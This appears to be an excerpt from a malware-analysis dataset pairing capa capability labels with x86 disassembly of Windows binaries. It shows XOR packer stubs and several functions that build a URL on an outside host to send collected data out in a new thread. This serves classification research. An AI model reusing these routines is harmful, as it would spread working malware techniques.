joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417a8c
Capabilities:
Encode data using xor

Disassembly:
cmp dword [eax - 0x37], ebp
test byte [esi + 0x21], cl
xchg ecx, eax
ljmp 0x2d50
out 0x57, eax
mov edi, 0xbaddaca5
cli
cmp eax, 0x33c9b940
in eax, dx
dec eax
jb 0x417ac3
pop edx
xchg ebp, eax
jo 0x417a48
ret
aas
leave
jo 0x417aa6
outsb dx, byte [esi]
jns 0x417afa
cmp al, 0xe1
hlt
outsd dx, dword [esi]
aas
cmp eax, 0xb9096471
xchg edi, eax
xor edi, dword [eax]
out dx, al
sti
dec edi
lahf
jecxz 0x417a9b
xchg ecx, eax
popal
ror esi, 1
loopne 0x417abc
xchg ebx, eax
sti
xchg ecx, eax
xchg edx, eax
sbb al, 0x2a
cmp byte [ebp + 0x7545eda5], dh
mov edx, 0x50ccd371
xor al, 0x99
mov edx, 0x738555c7
outsb dx, byte [esi]
inc ebp
sbb dword [ecx + 0x1e20f3c6], edx
mov ecx, 0x46b26692
and byte [ecx + 0x6e], 0x43
outsb dx, byte [esi]
inc ebx
pop ecx
or dl, dh
mov dword [ebx], eax
jns 0x417ad6
in al, 0x99
dec edx
dec esi
xor dl, byte [esi + 0x65]
sbb eax, 0xd0fd196e
lodsb al, byte [esi]
sub dword [eax + 0x29], edx
sub eax, dword [ebx - 0x268992f1]
push cs
outsd dx, dword [esi]
dec edi
or ch, byte [0xcc572ac]
out dx, eax
jp 0x417aa6
pop ebp
sbb dword [edx + eax*2 + 0x1cac2645], ebp
test eax, 0xa2113379
fsub qword [edx - 0x25]
pop esi
inc esp
fisub word [ebx]
invalid

Function at 0x418610
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x624
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebp, dword [esp + 0x63c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push eax
push 0xffffffffffffffff
push ebp
push 1
push edi
call ebx
push ebp
mov esi, dword [esp + 0x63c]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x41872d
push 0x2a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x41867b
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x624
ret 8
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push esi
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4186b3
mov eax, dword [0x4ca7ec]
push 0x4ca4f0
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp dword [esp + 0x14], eax
jne 0x41872d
lea ecx, [esp + 0x42c]
push ecx
push 0xffffffffffffffff
push esi
push 1
push edi
call ebx
lea edx, [esp + 0x224]
push edx
push 0xffffffffffffffff
push esi
push 4
push edi
call ebx
lea eax, [esp + 0x1c]
push eax
push 0xffffffffffffffff
push ebp
push 1
push edi
call ebx
cmp word [esi], 0
je 0x41871b
xor eax, eax
mov cl, pe_nt_image_headers32
test byte [esp + eax + 0x224], cl
je 0x41870f
mov dx, word [esp + eax + 0x42c]
cmp dx, word [esp + eax + 0x1c]
jne 0x41872d
add esi, 2
add eax, 2
cmp word [esi], 0
jne 0x4186f7
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x624
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x624
ret 8
Function at 0x418740
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov dword [esp + 4], eax
mov al, byte [0x4cb9f0]
test al, al
je 0x4187ad
mov ecx, dword [0x4cba60]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
and ecx, 0xffff
cmp ecx, 0xffffd7b2
push edi
jne 0x41877a
mov eax, dword [0x4c9cdc]
test eax, eax
je 0x41877a
push 0xfffffffffffffff5
call esi
push 0xfffffffffffffff5
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea edx, [esp + 0xc]
push 0
push edx
push 0x1d
push 0x4ca9c0
push eax
call edi
push 0xfffffffffffffff5
call esi
lea ecx, [esp + 0xc]
push 0
push ecx
push 2
push 0x4cba70
push eax
call edi
pop edi
pop esi
ret
mov al, byte [0x4ca548]
test al, al
jne 0x4187c7
push 0
push 0
push 0x4ca9c0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
ret
Function at 0x47ef84
Capabilities:
Encode data using xor

Disassembly:
lcall 0xc9fd, 0x6030da29
cmpsd dword [esi], dword es:[edi]
invalid
xor ebx, dword [eax + 0x30]
aad 0xb9
cwde
loope 0x47ef45
push ebp
mov ecx, 0x485bd9f6
push ds
movsb byte es:[edi], byte [esi]
jbe 0x47ef6d
jne 0x47efea
adc byte [ebx], cl
test al, 0x16
add eax, 0xe2e15826
loope 0x47ef68
loope 0x47ef68
popfd
xor ecx, edx
pop esi
ror byte [ecx + eax - 0x74], cl
xchg ebp, eax
pop ebx
mov bl, 0xd0
ljmp 0x6c59
ret

Function at 0x4868ec
Capabilities:
Encode data using xor

Disassembly:
pop edx
dec dword [edi - 0x37]
mov ebx, 0x339bd286
mov ch, 0x91
sub al, 0xfb
and eax, 0x5951b440
add byte [edx - 0x73d23a83], ah
jne 0x486964
mov edx, cr2
mov esi, 0xfda7898a
xlatb
inc edx
push cs
sub byte [esi], 9
jnp 0x1d76638d
push esp
sahf
adc al, 0xb8
popal
cld
mov ebx, 0xf6463d72
outsb dx, byte [esi]
mov byte [eax + 0x58], bh
lds ebx, [ebx]
in eax, dx
dec edi
xor dword [eax], esi
std
jne 0x486925
arpl word [ebp + ebp*2 - 0x4d], dx
jl 0x486953
pop esi
pushal
invalid
das
pop ebp
pop esi
mov word [ecx], gs
xor ecx, ebp
push 0x40
das
mov byte [0x3b3622d5], al
add ecx, ebp
das
mov bl, 0xe1
hlt

Function at 0x48d80c
Capabilities:
Authenticate hmac

Disassembly:
mov al, byte [0x65581eae]
out 0x36, al
cmp al, 0xe1
sub byte [esi], bl
push edi
and byte [eax + 0x4b], bl
into
sbb eax, 0xfdc16b8e
sti
lds ecx, [ecx + 0x58bec124]
jmp edi
stc
jge 0x48d87c
xor al, byte [edx]
push ebp
sbb byte [ebp + esi*8 - 0x11916c4d], bl
xor ebx, dword [ebx]
pushal
mov dl, 0x69
sbb cl, byte [esi - 0x3e]
invalid
fcom dword [ebp - 0x13a0d467]
fld xword [eax]
mov dh, 0xde
mov dword [eax + ebp*4 - 0x76659dce], eax
mov ebx, 0xd8939bfc
sbb eax, 0xafbf54c6
inc ecx
xor eax, 0x1e643b56
popfd
dec esp
lcall 0x54e3, 0x19c32292
sti
jp 0x48d7e2
lodsb al, byte [esi]
jecxz 0x48d8c0
cdq
sub ch, byte [ecx + 0x5ca9ef14]
or al, 0x2d
cmp al, 0x5c
aad 0xe9
call [ecx + 0x25]
std
in eax, dx
pop ebp
loope 0x48d86b
in al, 0xf5
pop edx
sbb byte [edi + ecx*2 + 0x1e], bh
sbb dword [eax], edx
sbb esi, ebp
add al, 0x8a
inc ebx
out dx, al
or bh, bl
rep stosb byte es:[edi], al
push ecx
push eax
mov dh, 0x19
xor bh, byte [ecx + 0x1d375324]
les esp, [ebx]
add ebp, ebx
push edi
jp 0x48d895
fdivp st(5)
std
inc esp
test eax, 0x824118c0
cmp al, bl
wait
popal
jnp 0x48d828
inc eax
pop esp
je 0x48d8af
inc ebx
stc
pcmpeqb mm0, qword [edi - 0x5b]
invalid
lea edx, [edi]
mov dh, 0xac
aad 0x37
dec ebp
fsub qword [ebx + 0x5de41b20]
and esp, dword [esi + 0x3a]
popfd
push esi
and esi, dword [edx + 0x45]
lodsb al, byte [esi]
insb byte es:[edi], dx
inc eax
pop ebp
js 0x48d89c
mov bh, dl
cmc
jge 0x48d901
out 0xd2, eax
int3
adc byte [0x7d4b4b37], 0xfa
sbb bh, dh
push esp
cmp dword [ecx - 0x54751bef], esp
Function at 0x4bf5ce
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c7390
cmp edx, dword [eax]
je 0x4bf5f0
add eax, 8
inc ecx
cmp eax, 0x4c7420
jl 0x4bf5e1
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c7390]
jne 0x4bf71e
mov eax, dword [0x4cba7c]
cmp eax, 1
je 0x4bf6f8
test eax, eax
jne 0x4bf621
cmp dword [0x4c72d4], 1
je 0x4bf6f8
cmp edx, 0xfc
je 0x4bf71e
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bf658
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bfce0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bff10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bf69b
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bff10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c3b80
push edi
call fcn.004c16e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bfce0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bfcf0
lea eax, [ebp - 0xa0]
push 0x4c3b60
push eax
call fcn.004bfcf0
push dword [esi + 0x4c7394]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bfcf0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004c1654
add esp, 0x2c
pop edi
jmp 0x4bf71e
lea eax, [ebp + 8]
lea esi, [esi + 0x4c7394]
push 0
push eax
push dword [esi]
call fcn.004bff10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x402112
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x401000
call 0x402112
lcall 0x5de5, 0x8b10c483
jmp loc.0079da64
Function at 0x417eec
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4213ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00410b07
and dword [ebp - 0x14], 0
cmp dword [0x81ed94], 0
mov dword [ebp - 0x18], eax
jne 0x417f9f
push 0x403fd0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x418047
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403fc4
push ebx
call edi
test eax, eax
je 0x418047
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403fb4
push ebx
mov dword [0x81ed94], eax
call edi
push eax
call esi
push 0x403fa0
push ebx
mov dword [0x81ed98], eax
call edi
push eax
call esi
push 0x403f84
push ebx
mov dword [0x81ed9c], eax
call edi
push eax
call esi
mov dword [0x81eda4], eax
test eax, eax
je 0x417f9f
push 0x403f6c
push ebx
call edi
push eax
call esi
mov dword [0x81eda0], eax
mov eax, dword [0x81eda0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x417ff8
cmp dword [0x81eda4], ecx
je 0x417ff8
push eax
call esi
push dword [0x81eda4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417ff8
test ebx, ebx
je 0x417ff8
call edi
test eax, eax
je 0x417fef
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x417fef
test byte [ebp - 8], 1
jne 0x417ff8
or dword [ebp + 0x10], 0x200000
jmp 0x41802b
mov eax, dword [0x81ed98]
cmp eax, dword [ebp - 0x18]
je 0x41802b
push eax
call esi
test eax, eax
je 0x41802b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41802b
mov eax, dword [0x81ed9c]
cmp eax, dword [ebp - 0x18]
je 0x41802b
push eax
call esi
test eax, eax
je 0x41802b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x81ed94]
call esi
test eax, eax
je 0x418047
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x418049
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b36b
leave
ret
Function at 0x41d170
Capabilities:
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x13a0
call fcn.004187b0
cmp dword [0xcc91ec], 0x37
push esi
jne 0x41d28a
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
push 0
lea ecx, [esp + 0xba4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
mov eax, dword [esp + 0xc]
push 0
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
push 0
lea ecx, [esp + 0x3a4]
push ecx
push 0x404190
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x7a4]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x180]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
lea ecx, [esp + 0x1c]
push ecx
push 0
lea edx, [esp + 0x5c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0
call esi
push 0x4041b0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
lea ecx, [esp + 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0x30
lea eax, [esp + 0x28]
push 0
push eax
mov dword [esp + 0x2c], 0
call fcn.0040a690
add esp, 0xc
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov edx, dword [0xccb950]
mov dword [esp + 8], edx
mov eax, 0x5d1
add dword [esp + 8], eax
mov eax, dword [esp + 8]
mov cl, byte [eax + edi]
mov edx, dword [0xcc79e4]
mov byte [edx + edi], cl
pop esi
add esp, 0x13a0
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x2a23532f
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x44bd3670
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b63
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ec], 0
push esi
jne 0x406b9a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b74
mov dword [ecx*4 + 0x4275e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b6f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bcb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275e8]
xor eax, esi
inc ecx
dec edx
jne 0x406bad
pop edi
not eax
pop esi
ret 0xc

Function at 0x401790
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov eax, dword [0x410278]
mov cl, 0xc0
mov eax, dword [0x41404c]
je 0x4017bb
push 0xb83c40
push eax
call 0xc7855850
mov cx, word [0x410274]
invalid

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x10001660
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
je 0x100017d9
mov ecx, dword [0x10004368]
cmp byte [ecx + 0x81], 0
je 0x100017d9
cmp dword [ecx + 0x2c], 1
je 0x10001693
cmp dword [ecx + 0x2c], 3
jne 0x100017d9
mov eax, dword [ecx + 0x24]
push ebx
push esi
push edi
mov eax, dword [eax + 0x4d]
mov dword [ebp - 8], eax
movzx eax, word [ecx + 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
dec eax
je 0x1000175c
dec eax
je 0x1000172b
dec eax
je 0x10001703
dec eax
jne 0x100016ef
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x100016d5
mov edi, dword [edi + 0x12]
jmp 0x100016d8
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x30]
jmp 0x1000178b
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001723
mov edi, dword [edi + 0x2f22]
jmp 0x100016d8
add edi, 0x2f22
jmp 0x100016d8
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001745
mov edi, dword [edi + 6]
jmp 0x10001748
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x1c]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001776
mov edi, dword [edi + 0xa]
jmp 0x10001779
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.16666
mov esi, eax
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx ecx, ax
push ecx
push edi
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_ws_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100017df
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
movzx ecx, ax
cmp ecx, 0xffff
jne 0x10001959
cmp byte [0x100043e7], 0
je 0x10001945
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x100018c4
dec eax
je 0x10001890
dec eax
je 0x10001868
dec eax
jne 0x10001851
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001834
mov edi, dword [edi + 0x12]
jmp 0x10001837
add edi, 0x12
lea eax, [ecx + 0x131]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x100018f6
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001888
mov edi, dword [edi + 0x2f22]
jmp 0x10001837
add edi, 0x2f22
jmp 0x10001837
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x100018aa
mov edi, dword [edi + 6]
jmp 0x100018ad
add edi, 6
lea eax, [ecx + 0x11d]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x221]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x100018de
mov edi, dword [edi + 0xa]
jmp 0x100018e1
add edi, 0xa
lea eax, [ecx + 0x121]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x225]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.16666
mov esi, eax
push 0x100043ec
push 0x270f
push edi
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
mov byte [0x100043e7], 0
mov byte [0x100043ec], 0
mov esp, ebp
pop ebp
ret 4
cmp ecx, 0x8ff
jg 0x10001953
mov eax, dword [0x10004370]
cmp eax, 3
je 0x1000198d
cmp eax, 4
je 0x1000198d
cmp eax, 2
mov eax, dword [0x10004378]
jne 0x10001982
mov eax, dword [eax + 0x3c5]
jmp 0x10001998
mov eax, dword [eax + 0x3cd]
mov eax, dword [eax + 0x10]
jmp 0x1000199b
mov eax, dword [0x10004378]
mov eax, dword [eax + 0x3de]
mov eax, dword [eax + 0x20]
cmp dword [eax + ecx*4], 0
je 0x10001953
mov eax, dword [eax + ecx*4 + 0x2400]
mov dl, byte [eax]
test dl, dl
je 0x10001953
cmp byte [eax + 1], 0
jne 0x10001953
mov cl, byte [0x100043e7]
cmp cl, 0xa
jae 0x10001953
movzx eax, cl
inc cl
mov byte [0x100043e7], cl
mov byte [eax + 0x100043ec], dl
movzx eax, cl
cmp eax, 0xb
jae 0x100019e4
mov byte [eax + 0x100043ec], 0
jmp 0x10001953
call fcn.100023fa
int3
Function at 0x100019ea
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str._log
push dword [0x1000437c]
call dword [sym.imp.MSVCR120.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10001b47
mov eax, dword [0x1000437c]
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x10001acc
dec eax
je 0x10001a9b
dec eax
je 0x10001a73
dec eax
jne 0x10001a5f
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001a45
mov edi, dword [edi + 0x12]
jmp 0x10001a48
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x10001afb
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001a93
mov edi, dword [edi + 0x2f22]
jmp 0x10001a48
add edi, 0x2f22
jmp 0x10001a48
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001ab5
mov edi, dword [edi + 6]
jmp 0x10001ab8
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001ae6
mov edi, dword [edi + 0xa]
jmp 0x10001ae9
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.16666
mov esi, eax
push dword [ebp - 0xc]
push 0x194
push edi
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret